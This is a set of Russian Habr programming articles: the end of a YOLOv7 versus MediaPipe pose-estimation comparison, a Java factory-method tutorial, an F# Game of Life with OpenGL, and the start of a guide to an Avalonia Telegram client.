# Convert the array to Tensor.
img = torch.tensor(np.array([img.numpy()]))
# Load the image into the computation device.
img = img.to(device)
# Gradients are stored during training, not required while inference.
with torch.no_grad():
t1 = time.time()
output, _ = model(img)
t2 = time.time()
fps = 1/(t2 - t1)
output = non_max_suppression_kpt(output,
0.25, # Conf. Threshold.
0.65, # IoU Threshold.
nc=1, # Number of classes.
nkpt=17, # Number of keypoints.
kpt_label=True)
output = output_to_keypoint(output)
# Change format [b, c, h, w] to [h, w, c] for displaying the image.
nimg = img[0].permute(1, 2, 0) * 255
nimg = nimg.cpu().numpy().astype(np.uint8)
nimg = cv2.cvtColor(nimg, cv2.COLOR_RGB2BGR)
for idx in range(output.shape[0]):
plot_skeleton_kpts(nimg, output[idx, 7:].T, 3)
return nimg, fps
```
7. Сравнение YOLOv7 и MediaPipe на процессоре
---------------------------------------------
| | |
| --- | --- |
| **YOLOV7** | **MediaPipe** |
| **Модель**: yolov7-w6-pose.pth**Устройство**: GPU**Размер ввода**: 960p (letterbox) | **Модель**: BlazePose GHUM Full**Устройство**: CPU**Размер ввода**: 256x256p |
В то время как основная цель обоих **YOLOv7** и MediaPipe остается прежним, они не похожи с точки зрения реализации. Давайте рассмотрим несколько примеров, чтобы протестировать фреймворки. Мы сравним точность и частоту кадров в секунду по следующим причинам.
1. Размер входных данных модели по умолчанию.
2. Фиксированный размер входных данных модели для вывода в реальном времени.
3. YOLOv7 vs MediaPipe на низком уровнесветусловие.
4. YOLOv7 vs MediaPipe Обработка окклюзии.
5. YOLOv7 vs MediaPipe на далеком человеке.
6. YOLOv7 vs MediaPipe при прыжках с парашютом.
7. YOLOv7 vs MediaPipe Определение танцевальной позы.
8. YOLOv7 vs MediaPipe при определении позы йоги.
> **ТЕСТОВАЯ НАСТРОЙКА**: Процессор ноутбука Ryzen 5 4-го поколения, графический процессор ноутбука NVIDIA GTX 1650 4 ГБ
> **Примечание**: Записанный FPS - это средний FPS прямого прохода без учета времени предварительной и последующей обработки.
>
>
### 7.1. Сравнение YOLOv7 и MediaPipe с настройками ввода по умолчанию
YOLOv7 по умолчанию содержит изображения 960p в формате почтового ящика. Он поддерживает соотношение сторон исходного изображения, сохраняя минимальную ширину или высоту 960p. С другой стороны, MediaPipe использует две модели BlazePose для обнаружения и отслеживания. Модель обнаружения принимает входные данные 128 × 128, а модель отслеживания принимает 256 × 256.
Давайте посмотрим на результаты, которые мы получаем с помощью готового кода. Очевидно, что MediaPipe является победителем в этом случае.
* YOLOv7: 0.82 кадров в секунду.
* MediaPipe: 29,2 кадра в секунду.
YOLOv7 pose vs MediaPipe с настройками по умолчанию для процессора
### 7.2. Фиксированный размер ввода для вывода в реальном времени
Чтобы уравновесить конкуренцию, мы изменили код для YOLOv7, чтобы пересылать изображения размером 256 × 256. Результаты следующие. Это также продолжается для остальных экспериментов с процессором.
* YOLOv7: 8.1 кадров в секунду.
* MediaPipe: 29,2 кадра в секунду.
YOLOv7 Pose vs MediaPipe исправлен ввод на процессоре
### 7.3. YOLOv7 против MediaPipe в условиях низкой освещенности
**Пример 1**. Следующие результаты показывают, что YOLOv7 и MediaPipe справляются с низким освещением, окклюзией и удаленными людьми. Наблюдается, что YOLOv7 работает немного лучше, чем MediaPipe с точки зрения точности.
* YOLOv7: 8.3
* MediaPipe: 29.2
YOLOv7 pose vs MediaPipe при слабом освещении с использованием процессора
**Пример 2**. В отличие от примера выше, MediaPipe дает несколько лучшие результаты с точки зрения точности в следующем примере.
* YOLOv7: 8.23
* MediaPipe: 29
YOLOv7 pose vs MediaPipe при слабом освещении с использованием процессора
#### 7.4. Обработка окклюзии YOLOv7 vs MediaPipe
С помощью YOLOv7 прогнозирование позы работает прилично, даже когда определенные части тела закрыты. Закрытая нога человека хорошо прогнозируется YOLOv7. Однако MediaPipe считает, что это кентавр. Частота кадров в секунду не сильно отличается по сравнению с экспериментами при слабом освещении.
* YOLOv7: 8.0
* MediaPipe: 30.0
YOLOv7 pose vs MediaPipe обрабатывающего закупорку на процессоре
### 7.5. YOLOv7 vs MediaPipe на далеком человеке
Давайте сравним, как обе модели реагируют на человека в малом масштабе. Мы видим, что YOLOv7 не удалось обнаружить человека на всех кадрах. MediaPipe обнаружил человека в значительно меньшем масштабе. Это может быть связано с методами оценки позы, используемыми фреймворками. MediaPipe отслеживает человека после подтверждения обнаружения. С другой стороны, YOLOv7 выполняет обнаружение для каждого кадра.
* YOLOv7: 8.2
* MediaPipe: 31.1
YOLOv7 pose vs MediaPipe обнаружение человека в разных масштабах на процессоре
#### 7.6. YOLOv7 vs MediaPipe при прыжках с парашютом
В следующем видео с прыжками с парашютом MediaPipe лучше распознает человека с различными ориентациями. Можно также видеть, что, когда человек находится дальше, MediaPipe обнаруживает лучше, чем YOLOv7. Это также может быть хорошим примером масштаба.
* YOLOv7: 8.24
* MediaPipe: 29.05
YOLOv7 pose vs MediaPipe, определяющая позу при различных ориентациях на процессоре
### 7.7. YOLOv7 vs MediaPipe, определяющего позу танца
Обе структуры способны обнаруживать человека. Тем не менее, YOLOv7 делает лучшую оценку позы. При быстрых движениях MediaPipe, похоже, не может достаточно хорошо отслеживать. Разница в FPS аналогична приведенным выше примерам.
* YOLOv7: 7.99
* MediaPipe: 29.46
YOLOv7 pose vs MediaPipe обнаружение танцевальной позы на процессоре
### 7.8. YOLOv7 vs MediaPipe при определении позы йоги
В следующем эксперименте по обнаружению позы ЙОГИ поза YOLOv7 показывает нервные обнаружения. Использование размера ввода с низким разрешением может быть не лучшей идеей для использования с YOLOv7. Мы не должны забывать, что YOLOv7 обучается на 960p изображениях почтовых ящиков.
* YOLOv7: 8.20
* MediaPipe: 29.06
8. Вывод YOLOv7 на графическом процессоре
-----------------------------------------
Мы знаем, что это несправедливое сравнение, но это все, что у нас есть для MediaPipe сейчас. Надеемся, что **поддержка GPU для Python-решений MediaPipe** появится в ближайшее время. Однако мы хотим посмотреть, как лучшие из обоих фреймворков сочетаются друг с другом, используя несколько примеров. Мы сравним некоторые сложные позы с MediaPipe и самим YOLOv7 на входах с низким и высоким разрешением.
| | |
| --- | --- |
| **YOLOV7** | **MediaPipe** |
| **Размер ввода**: 960 (letterbox)**Модель**: yolov7-w6-pose.pth**Устройство**: графический процессор | **Размер входного** сигнала: 256 × 256**Модель**: BlazePose GHUM Full**Устройство**: процессор |
#### 8.1. YOLOv7 vs MediaPipe в сложных позах
В следующем видео мы видим, что YOLOv7 работает сравнительно лучше, чем MediaPipe. Переключение на разрешение по умолчанию улучшает результаты. Более того, с точки зрения скорости вывода, YOLOv7 более чем в 2 раза быстрее.
* YOLOv7: 83.39
* MediaPipe: 29.0
YOLOv7 pose GPU 960p против MediaPipe по умолчанию
#### 8.2. Анализ влияния увеличения размера входных данных
Давайте проверим предыдущие результаты вывода 256p с результатами GPU по умолчанию 960p. Это предыдущий пример прыжков с парашютом, где YOLOv7 плохо справлялся с размером ввода 256 × 256. Результат справа показан после изменения размера ввода на 960p по умолчанию.
| | |
| --- | --- |
| 256p | 960p |
YOLOv7 определяет позу человека, прыгающего с парашютом процессор 256p против графического процессора 960p
В предыдущем входном эксперименте с низким разрешением YOLOv7 не смог обнаружить человека ни разу. После увеличения входного разрешения до 960p результат значительно улучшается. Однако это не так хорошо, как MediaPipe.
Ввод модели YOLOv7 с низким разрешением и высоким разрешением на CPU и GPU
Аналогично, с экспериментом по определению позы йоги результат улучшается. Обнаружение в версии 960p определенно лучше, чем дрожащий вывод 256p.
Обнаружение позы йоги YOLOv7 с низким разрешением и высоким разрешением на процессоре и графическом процессоре
Моделям оценки позы сложно отслеживать плавание. Человек неоднократно закрывается. В следующем примере показано определение позы для плавания с помощью YOLOv7 в разных разрешениях.
YOLOv7 определяет позу плавающего человека
Наблюдения
----------
* Наблюдается, что MediaPipe дает хорошие результаты на входных данных с низким разрешением по сравнению с YOLOv7.
* Это быстрее, чем YOLOv7 при выводе процессора.
* MediaPipe также сравнительно хорошо обнаруживает удаленные объекты (в нашем случае людей). Однако, когда дело доходит до окклюзии, выигрывает YOLOv7.
* В то время как MediaPipe ограничен одним человеком, YOLOv7 может обнаруживать несколько человек одновременно.
* YOLOv7 также лучше оценивает быстрые движения, учитывая, что размер входных данных имеет высокое разрешение.
* Кроме того, YOLOv7 может использовать возможности графического процессора, что делает его намного быстрее, чем MediaPipe.
> Код на [Github](https://github.com/spmallick/learnopencv/tree/master/YOLOv7-Pose-vs-MediaPipe-in-Human-Pose-Estimation)
>
>
### Список литературы
1. [Введение в MediaPipe](https://learnopencv.com/introduction-to-mediapipe/)
2. [Построение системы обнаружения и оповещения о плохом положении тела с использованием MediaPipe](https://learnopencv.com/building-a-body-posture-analysis-system-using-mediapipe/)
3. [Оценка позы нескольких человек в OpenCV с использованием OpenPose](https://learnopencv.com/multi-person-pose-estimation-in-opencv-using-openpose/)
4. [Сравнение определения позы: wrnchAI против OpenPose](https://learnopencv.com/pose-detection-comparison-wrnchai-vs-openpose/)
5. [Видео прыжков с парашютом](https://youtu.be/X5h0NTte5KI) | https://habr.com/ru/post/701268/ | null | ru | null |
# Java. Factory Method Pattern in Game Server
Game Server**Фабричный метод** - это порождающий шаблон проектирования, который предоставляет интерфейс для создания объектов в родительском классе, но позволяет подклассам изменять тип создаваемых объектов.
### Проблема
Представьте, что вы создаете модуль игровых наград. Первая версия вашего приложения может обрабатывать только награду **ЗОЛОТО**, поэтому основная часть вашего кода находится внутри класса **GoldReward**.
 Через некоторое время ваша игра становится довольно популярной. Каждый день вы получаете десятки запросов от игроков о добавлении новой валюты в приложение и просьбы разнообразить контент.
 Отличные новости, правда? А как насчет кода? В настоящее время большая часть вашего кода связана с классом **GoldReward**. Добавление **ГЕМОВ** в приложение потребует внесения изменений во всю кодовую базу. Более того, если позже вы решите добавить в приложение еще один вид **НАГРАД**, вам, вероятно, придется снова внести все эти изменения. В результате вы получите довольно неприятный код, пронизанный условными выражениями, которые переключают поведение приложения в зависимости от типа **НАГРАД**.
### Решение
Шаблон фабричного метода предлагает заменить прямые вызовы построения объекта (с использованием оператора new) на вызовы специального фабричного метода. Не волнуйтесь: объекты по-прежнему создаются с помощью оператора new, но он вызывается из фабричного метода. Объекты, возвращаемые фабричным методом, часто называют продуктами.
На первый взгляд это изменение может показаться бессмысленным: мы просто переместили вызов конструктора из одной части программы в другую. Однако учтите следующее: теперь вы можете переопределить фабричный метод в подклассе и изменить класс продуктов, создаваемых этим методом.
Однако есть небольшое ограничение: подклассы могут возвращать разные типы продуктов, только если эти продукты имеют общий базовый класс или интерфейс. Кроме того, тип возвращаемого значения для фабричного метода в базовом классе должен быть объявлен как этот интерфейс.
Например, классы **GoldReward** и **GemReward** должны реализовывать интерфейс наград, в котором объявляется метод **rewardFor**. Каждый класс реализует этот метод по-разному: золотая награда увеличивает золото, награда с гемами увеличивает гемы в профиле игрока. Фабричный метод в классе **GoldRewardService** возвращает объекты золотой награды, тогда как фабричный метод в классе GemRewardService возвращает гемы.
Код, использующий фабричный метод (часто называемый клиентским кодом), не видит разницы между фактическими продуктами, возвращаемыми различными подклассами. Клиент рассматривает все продукты как абстрактную награду. Клиент знает, что все награды должны иметь метод применения награды, но то, как именно он работает, не имеет значения для клиента.
**Structure**
1. Интерфейс **GameItem**, который является общим для всех объектов наград, которые могут быть созданы создателем и его подклассами.
* Конкретные награды - это разные реализации интерфейса **GameItem**.
* Класс **ReawardCreator** объявляет фабричный метод, который возвращает новые объекты наград. Важно, чтобы тип возвращаемого значения этого метода соответствовал интерфейсу продукта. Вы можете объявить фабричный метод абстрактным, чтобы заставить все подклассы реализовывать свои собственные версии метода. В качестве альтернативы базовый фабричный метод может возвращать некоторый тип награды по умолчанию. Обратите внимание: несмотря на название, создание продукта не является основной обязанностью создателя. Обычно класс создателя уже имеет некоторую базовую бизнес-логику, связанную с наградами. Фабричный метод помогает отделить эту логику от конкретных классов наград.
* Конкретные создатели переопределяют базовый фабричный метод, поэтому он возвращает другой тип продукта. Обратите внимание, что фабричный метод не должен постоянно создавать новые экземпляры. Он также может возвращать существующие объекты из кеша, пула объектов или другого источника.
Используйте фабричный метод, если вы хотите предоставить пользователям вашей библиотеки или фреймворка способ расширения его внутренних компонентов.
Наследование - это, вероятно, самый простой способ расширить поведение библиотеки или фреймворка по умолчанию. Но как фреймворк распознает, что ваш подкласс следует использовать вместо стандартного компонента?
Решение состоит в том, чтобы сократить код, который создает компоненты в рамках платформы, до единого фабричного метода и позволить любому переопределить этот метод в дополнение к расширению самого компонента.
### Как реализовать
Implementation1. *Создали базовый интерфейс GameItem:*
1. Создали базовый интерфейс GameItem
```
public interface GameItem {
void open();
}
```
2. *Создадим пару наград и реализуем метод интерфейса:*
```
public class GoldReward implements GameItem {
@Override
public void open() {
// todo add open business logic
System.out.println("GoldReward opened");
}
}
```
```
public class GemReward implements GameItem {
@Override
public void open() {
// todo add open business logic
System.out.println("GemReward opened");
}
}
```
3. *Дальше нам потребуется ItemGenerator, который будет открывать награды и создавать их:*
```
public abstract class ItemGenerator {
public void openReward() {
// ... other code ...
GameItem gameItem = createItem();
gameItem.open();
}
/**
* Subclasses will override this method in order to create
* specific reward objects.
*/
public abstract GameItem createItem();
}
```
4. *Давайте создадим конкретные реализации ItemGenerator:*
```
public class GoldGenerator extends ItemGenerator{
@Override
public GameItem createItem() {
return new GoldReward();
}
}
```
```
public class GemGenerator extends ItemGenerator{
@Override
public GameItem createItem() {
return new GemReward();
}
}
```
5. *Протестируем, то что у нас получилось. Я буду в цикле доставать “случайный” генератор и открывать награду. В терминале можно будет увидеть сообщение об открытии награды.*
```
public class Game {
public static void main(String[] args) {
Random random = ThreadLocalRandom.current();
List generatorList = new ArrayList<>();
generatorList.add(new GemGenerator());
generatorList.add(new GoldGenerator());
for (int i = 0; i < 10; i ++){
int idx = Math.abs(random.nextInt() % 2) == 0 ? 0 : 1;
ItemGenerator itemGenerator = generatorList.get(idx);
itemGenerator.openReward();
}
}
}
```
[Ссылка на код будет вот тут](https://github.com/deft1991/petproject/tree/master/patterns/src/main/java/com/deft/patterns/factorymethod). Можно посмотреть реализацию этого паттерна.
На этом разбор фабричного метода закончен. Хотелось бы узнать, встречали ли вы у себя в проектах фабричный метод? Или может вы не осознанно писали код, который получался как фабричный метод? Спасибо, что дочитали до конца. | https://habr.com/ru/post/571502/ | null | ru | null |
# Жизнь Конвея на F# + OpenGL
#### Почему F#?
Просто потому что он мне нравится. Решив пару десятков задач на [projecteuler](http://projecteuler.net/) я решил найти более практическое применение знаниям и написать нечто не сложное, но осязаемое.
Кому интересно — добро пожаловать под кат.
Сразу оговорюсь. Я не являюсь специалистом в области функционального программирования или OpenGL, поэтому буду рад любым осмысленным комментариям и подсказкам как сделать лучше/быстрее/красивее.
Описывать сам язык смысла не имеет. Уже есть достаточно много материала по теме.
Можно, для начала, посетить [Wiki](http://ru.wikipedia.org/wiki/F_Sharp), [F# Development Center](http://msdn.microsoft.com/en-us/vstudio/hh388569.aspx), [What's new in F# 3.0](http://msdn.microsoft.com/en-US/library/vstudio/hh370982.aspx).
#### Итак, приступим
Первым делом определим типы для нашей клетки:
```
type Sex = |Male|Female
type Cell = { Sex: Sex; Age: int; Position: (int * int)}
```
Пол будем использовать при отрисовке ячеек. В дальнейшем я планирую использовать его для экспериментов с алгоритмом.
Объявим глобальные переменные игры:
```
//Globals
let mutable (field:Cell[]) = [||] //поле с клетками
let mutable pause = false //Признак паузы игры
let mutable isInProc = false //признак того, что поле рассчитывается
let mutable generation = 0 //текущий шаг
let mutable ftime = DateTime.Now //
let mutable fps = 0.0 // будут использоваться для вычисления fps
//Матрица для отрисовки openGL
let mutable modelview = Matrix4.LookAt(Vector3.UnitZ, Vector3.Zero, Vector3.UnitY)
let mutable Size = 100 //размерность поля
let mutable CellCount = 2000 //стартовое количество клеток
let mutable LifeLength = 50 //время жизни клетки
let mutable ScreenWidth = 500 //размер окна по умолчанию
```
#### Основной класс, отвечающий за игровой процесс
Первым делом напишем методы для генерации новых ячеек:
```
type Life() =
member this.genCell (rnd:Random) = {
Sex = match rnd.Next(2) with |0 -> Sex.Male |_ -> Sex.Female
Age=0
Position=(rnd.Next(Size), rnd.Next(Size))}
member this.genCells =
let rnd = new System.Random()
let rec lst (l:list) =
match l.Length with
|c when c = CellCount -> l
|\_ ->
match this.genCell rnd with
|c when not (this.existCell (l |> List.toArray) c.Position) -> lst (c::l)
|\_ -> lst l
List.Empty |> lst |> List.toArray
```
**genCell** создает новую клетку используя объект Random.
**genCells** заполняет список новыми клетками.
Рекурсивная функция ````
let rec lst (l:list) создает новый список и вставляет туда новую клетку, если координаты свободны.
Вычисляем координаты соседних клеток:
member this.allNeighbourCells (position:int*int) =
let nCells (point:int*int) =
let x,y = point
[| (x-1, y-1); (x-1, y); (x-1, y+1);
(x, y-1); (x, y+1);
(x+1, y-1); (x+1, y); (x+1, y+1); |]
let (!) pos =
let tx = match fst pos with
|x when x < 0 -> Size - 1
|x when x >= Size -> 0
|_ -> fst pos
let ty = match snd pos with
|y when y < 0 -> Size - 1
|y when y >= Size -> 0
|_ -> snd pos
(tx, ty)
nCells position |> Array.map ((!))
```
Здесь присутствует 2 локальные функции:
`nCells` возвращает все соседние ячейки для point
`!` переопределенный операнд, который возвращает координаты, выходящие за границы игрового поля обратно, формируя «бесконечное» игровое пространство.
Определим еще несколько вспомогательных функций:
```
member this.existCell field c = field |> Array.exists (fun af -> c = af.Position)
```
Проверка на наличие клетки с указанными координатами.
```
member this.partitionfield field = this.allNeighbourCells >> Array.partition(fun c -> this.existCell field c)
member this.pFree field = this.partitionfield field >> snd
member this.pExist field = this.partitionfield field >> fst
```
`Partitionfield` делит все соседние клетки на занятые и свободные создавая tuple из двух массивов.
`pFree, pExist` соответственно получают доступ к списку свободных и занятых клеток
Собственно главный метод, пересчитывающий игровое поле весьма лаконичен:
```
member this.Iterate (field:Cell[]) =
//Список свободных соседних ячеек
let freeNeighb = field |> PSeq.collect (fun c -> this.pFree field c.Position)
|> Seq.distinct
let born = freeNeighb
|> Seq.filter (fun c -> this.pExist field c |> Array.length = 3)
|> Seq.map(fun c ->
let rnd = new System.Random()
{this.genCell(rnd) with Position = c})
let alive = field |> PSeq.filter(fun c -> let neighb = this.pExist field c.Position |> Array.length
neighb <= 3 && neighb >= 2)
|> PSeq.map (fun c -> {c with Age = (c.Age + 1)})
let res = alive |> Seq.append born |> Seq.toArray
res
```
Что здесь происходит:
1. Получаем список всех свободных ячеек, которые являются соседями клеток (freeNeighb)
2. Фильтруем их и создаем новые клетки для тех ячеек, для которых выполняется условие (кол-во соседей = 3) (born)
3. Для существующих клеток фильтруем тех, кто выжил
4. Объединяем 2 списка в один и возвращаем результат работы
Код, связанный с OpenGL я в тексте статьи опущу, т.к. он достаточно простой.
Остановлюсь только на 2х методах:
###### doNextStep
Асинхронно вычисляет следующее поколение и заполняет список клеток, когда вычисление окончено:
```
member this.doNextStep =
async{
let res = (this.life.Iterate field)
field <- res |> Array.filter(fun c -> c.Age < LifeLength)
isInProc <- false
generation <- generation + 1
let delta = DateTime.Now - ftime
ftime <- DateTime.Now
fps <- Math.Round ((fps + 1000.0 / delta.TotalMilliseconds) / 2.0, 1)
}
```
###### OnRenderFrame
Функция OpenGL, отрисовывающая кадр:
```
override o.OnRenderFrame(e) =
base.OnRenderFrame e
match (pause, isInProc) with
| (false, false) -> isInProc <- true; Async.Start(o.doNextStep)
| _ -> ()
GL.Clear(ClearBufferMask.ColorBufferBit ||| ClearBufferMask.DepthBufferBit)
GL.MatrixMode(MatrixMode.Modelview)
GL.LoadMatrix(&modelview)
field |> Seq.iter (fun c -> o.DrawCell c)
if not pause then
base.Title <- String.Format("F# Life cell count: {0} Generation: {1} FPS: {2}", (field |> Seq.length), generation, fps)
else
base.Title <- String.Format("F# Life cell count: {0} Generation: {1} Paused", (field |> Seq.length), generation)
base.SwapBuffers()
```
Я провел небольшой эксперимент, добавив время жизни для клетки и удаляя те, которые старше LifeLength:
```
member this.doNextStep =
....
field <- res |> Array.filter(fun c -> c.Age < LifeLength
...
```
При отрисовке каждой ячейки я проставляю прозрачность в зависимости от возраста клетки. Чем старше, тем прозрачней:
```
member this.DrawCell (cell:Cell) =
let cellWidth = float32(this.ClientSize.Width) / float32 Size
let alpha = match (1.f - float32 cell.Age / float32 LifeLength) with
|c when c < 0.f -> 0.f
| c -> c
let color = match cell.Sex with
|Male -> [|0.5f; 0.f; 0.f; alpha|]
|Female -> [|0.7f; 0.f; 0.f; alpha|]
let pos = (float32 (fst cell.Position) * cellWidth, float32 (snd cell.Position) * cellWidth)
GL.Begin(BeginMode.Triangles)
GL.Color4 (color)
GL.Vertex3(fst pos + 0.5f, snd pos + 0.5f, 1.f)
GL.Vertex3(fst pos + 0.5f, cellWidth + snd pos - 0.5f, 1.f)
GL.Vertex3(cellWidth + fst pos - 0.5f, cellWidth + snd pos - 0.5f, 1.f)
GL.Vertex3(cellWidth + fst pos - 0.5f, snd pos + 0.5f, 1.f)
GL.Vertex3(fst pos + 0.5f, snd pos + 0.5f, 1.f)
GL.Vertex3(cellWidth + fst pos - 0.5f, cellWidth + snd pos - 0.5f, 1.f)
GL.End()
```
Скриншоты работы:
Самая стабильная фигура при включенном времени жизни - мерцающий квадрат:
##### Что надо доделать
Есть что оптимизировать.
Код не стал сильно рефакторить что бы получить более полезные комментарии :)
Не хватает "рисования" с помощью мыши, загрузки/сохранения данных в файл
Исходники можно скачать по адресу [bitbucket](https://bitbucket.org/msmaximuss/lifegame/src)
С нетерпением жду отзывов!.
**Upd:** Попросили добавить ссылки на описание игры. Как оказалось не все в курсе что это :)
[Раз](http://ru.wikipedia.org/wiki/%D0%96%D0%B8%D0%B7%D0%BD%D1%8C_%28%D0%B8%D0%B3%D1%80%D0%B0%29)
[Два](http://elvisti.kiev.ua/skl/conwey1/w_life_n.htm)` | https://habr.com/ru/post/173419/ | null | ru | null |
# На злобу дня: кроссплатформенный клиент для Telegram на .NET Core и Avalonia
В этой статье я расскажу, как реализовать кроссплатформенное приложение на .NET Core и Avalonia. Тема Телеграма очень популярна в последнее время — тем интереснее будет сделать клиентское приложение для него.
Статья затрагивает достаточно базовые концепции разработки на Avalonia. Тем не менее, мы не будем писать "Hello, World". Вместо этого предлагается рассмотреть реальное приложение. Изучим как общую архитектуру приложения, так и отдельные компоненты.
Чтобы не злоупотреблять вниманием читателя, в некоторых случаях придется сознательно опустить некоторые детали, упростив описание и реализацию. Реальный же код всегда можно [посмотреть на GitHub](https://github.com/egramtel/egram.tel).
Текст статьи носит обучающий характер, но сам проект вполне реальный. Целью проекта является создание клиента, рассчитанного на использование в качестве рабочего инструмента. Множество идей позаимствовано из других мессенджеров и переложено на модель Telegram.
Проект находится в стадии разработки и в данный момент не пригоден для повседневного использования. Данной статьей автор, в том числе, рассчитывает привлечь единомышленников к разработке.
Введение
--------
В основе нашего приложения будет лежать фреймворк Avalonia. Мы будем активно использовать паттерн MVVM и Rx.NET. В качестве языка разметки для построения пользовательского интерфейса используется XAML. Для коммуникации с API Telegram будет использована [библиотека TDLib](https://github.com/tdlib/td/) и автоматически сгенерированные [биндинги для .NET](https://github.com/egramtel/tdsharp).
Реактивное программирование будет широко применяться в разработке. В общем и целом, приложение следует подходу, принятому в современных UI фреймворках. Если вы знакомы с WPF, то вам будет сравнительно легко перейти на Avalonia. Знакомство с такими вещами, как React.js тоже не помешает.
Avalonia скрывает от разработчика детали реализации специфичные для отдельно взятой платформы. Программист обычно имеет дело с верхнеуровневыми компонентами. Так, например, для того, чтобы создать новое приложение вам потребуется поставить пакеты Avalonia, Avalonia.Desktop и прописать в функции Main следующие строки:
```
AppBuilder
.Configure(new App())
.UsePlatformDetect()
.UseReactiveUI()
.Start(() => context);
```
Это типичный Builder, знакомый всем, кто имел дело с .NET Core и ASP.NET Core. Ключевая строка — UsePlatformDetect. Avalonia берет на себя определение среды, в которой работает программа, и конфигурирует бэкенд для отрисовки UI. App и MainWindow здесь — это классы, унаследованные от Avalonia.Application и Avalonia.Window соответственно, их назначение должно быть примерно понятно из названий, мы вернемся к ним позже.
Если воспользоваться [расширением для VisualStudio](https://github.com/AvaloniaUI/AvaloniaVS), то оно предоставит шаблон, который будет содержать реализацию этих классов. Давайте воспользуемся расширением, и создадим проект. Мы обнаружим, что проект будет содержать следующие файлы:
```
./App.xaml
./App.xaml.cs
./MainWindow.xaml
./MainWindow.xaml.cs
```
Как видно, это те самые классы App и MainWindow, упомянутые ранее, и дополненные XAML файлами. Каждый из этих классов будет содержать в себе вызов: AvaloniaXamlLoader.Load(this). Не будем сейчас вдаваться в детали, скажем только, что этот метод загружает одноименный XAML файл и преобразует его в .NET объекты, "наполняя" целевой объект, переданный в качестве аргумента.
Если есть необходимость разобраться с деталями работы XAML, их можно получить из других источников — подойдет любая книга по WPF. Для простых же случаев это не нужно, достаточно будет научиться работать с компонентами, которые Avalonia предоставляет "из коробки".
Похожим образом в Avalonia реализованы и контролы (view), т.е. XAML файлы по своей сути нужны для декларативного описания некой иерархии, которая затем преобразуется в обычные объекты в памяти приложения. Пример такой иерархии: кнопка, вложенная в форму, которая, в свою очередь, находится внутри окна.
```
Foo Bar
```
Avalonia содержит в себе заранее определенный набор контролов, таких, как TextBlock, Button и Image. Для их композиции в более сложные структуры используются контролы-контейнеры: Grid, Panel, ListBox и т.д. Все эти контролы работают подобно тому, как они реализованы в WPF, т.е., несмотря на небольшое количество доступной документации, почти всегда можно обратиться к материалам для WPF.
Реализация MVVM
---------------
Мы будем стараться разделить внутренний стейт приложения и его отображение. Состояние будет храниться в некоторой иерархии объектов (View Model). Отображение (View) будет реагировать на изменения View Model и перестраивать UI. А View Model, в свою очередь, сможет изменяться под воздействием двух факторов: пользовательские или внешние события. Клик по кнопке это пример пользовательского события от View, а вот новое сообщение в чате является внешним событием.
В Авалонии View Model неразрывно связана с термином Data Context или просто "контекст". Я буду употреблять все понятия взаимозаменяемо.
Иерархия View Model часто будет похожа на структуру View, по крайней мере, в первом приближении. View мы полностью отдадим под контроль Avalonia, т.е. логика нашего приложения будет управлять состоянием, а реагировать на эти изменения и перерисовывать интерфейс уже входит в обязанности фреймворка.
Верхнеуровневая струтура View Model выглядит слудующим образом (псевдокод):
```
App {
...
Index # int
...
Auth {
...
Phone # string
Password # string
}
Main {
Nav {
...
Contacts # ReactiveList
}
Chat {
...
Messages # ReactiveList
}
}
}
```
Родительский контекст управляет жизненным циклом дочерних контекстов, в его обязанности входит создание и высвобождение вложенных контекстов. Корневой DataContext передается в Builder при создании объекта MainWindow (см. выше), в дальнейшем именно он будет управлять всей иерархией View Model.
View устанавливает контекст для вложенных контролов через механизм связывания (Binding). На практике это нужно для задания значений для свойств объектов, и подписки на их изменения.
Обратите внимание, как биндинги используются для задания:
1. Свойства SelectedIndex у контрола Carousel (определяет какую страницу показывает приложение — форму авторизации или чат)
2. Свойства Text для TextBox (связывает значение в модели с текстом формы ввода номера телефона и пароля)
3. Всех вложенных контекстов
```
```
В этом примере AppContext содержит в себе два дочерних контекста: MainContext и AuthContext. AppContext управляет жизненным циклом вложенных контекстов: он отвечает за их инициализацию и высвобождение.
На практике это выглядит так: после старта приложения AppContext проверяет был ли пользователь авторизован, и если не был, инициализирует дочерний AuthContext. На создание AuthContext реагирует GUI приложения, показывая форму авторизации. Пользователь вводит учетные данные, авторизуется, на событие авторизации подписан AppContext, он высвобождает AuthContext и в этот же момент инициализирует MainContext. SelectedIndex переключается с 0 на 1, чтобы убрать форму авторизации и показать чат.
MainContext в свою очередь содержит в себе еще два контекста: ChatContext и NavigationContext. Контекст навигации будет создан во время инициализации MainContext, т.к. в это время мы уже знаем, что пользователь авторизован, и мы имеем возможность подгрузить контакты.
Всё немного интереснее с ChatContext: его создание (а заодно и высвобождение предыдущего контекста) происходит в момент выбора пользователем чата в меню навигации. Сам ChatContext будет подписан на внешние события, такие как: добавление, редактирование и удаление сообщений. Отображение, соответственно, будет реагировать отрисовкой сообщений, или их удалением. При этом, контекст должен подписаться на события только для выбранного чата, т.к. нас не интересуют события другого чата. Контекст чата реагирует и на пользовательские события, такие как ввод нового сообщения.
Вложенные модели обычно не содержат в себе ссылки на родительский контекст, однако имеют возможность взаимодействовать с внешними компонентами, чтобы получать от них события или делать вызовы (как пример — обертка над TDLib).
Асинхронность
-------------
Как и в большинстве GUI фрэймворков, Avalonia позволяет выполнять действия с элементами пользовательского интерфейса только с UI-потока. На этом потоке желательно выполнять минимум работы, чтобы приложение оставалось отзывчивым. С приходом async/await делегировать выполнение работы в другие потоки стало намного проще. Подход RX.NET во многом схож с async/await, но позволяет также легко работать и с сериями событий.
Приложение широко использует возможности Observable для обеспечения асинхронности. Рассмотрим пример — загрузка контактов пользователя. После загрузки приложения пользователь должен увидеть список своих контактов. В нашем случае контакт из себя представляет имя пользователя и его фото.
Сама загрузка — типичный запрос данных через сеть, т.е. такое действие точно лучше выполнять вне UI-потока. Простым решением будет использование async/await: главный поток инициирует загрузку, и когда она завершается, получает уведомление и показывает контакты. Еще на время загрузки можно показать прогресс-бар, чтобы пользователь знал, что происходит какая-то работа в фоне.
Казалось бы, с этим подходом нет никаких проблем. Но, при ближайшем рассмотрении, можно будет увидеть, что только 10% времени (цифры приблизительные) приложение выполняло запрос на получение списка контактов, остальные 90% временного отрезка были заняты загрузкой и декодированием изображений. Всё это время юзер находился в ожидании. Существует ли лучший подход? Почему бы нам не показать список контактов сразу после выполнения первого запроса, а изображения догрузить уже "второй волной"?
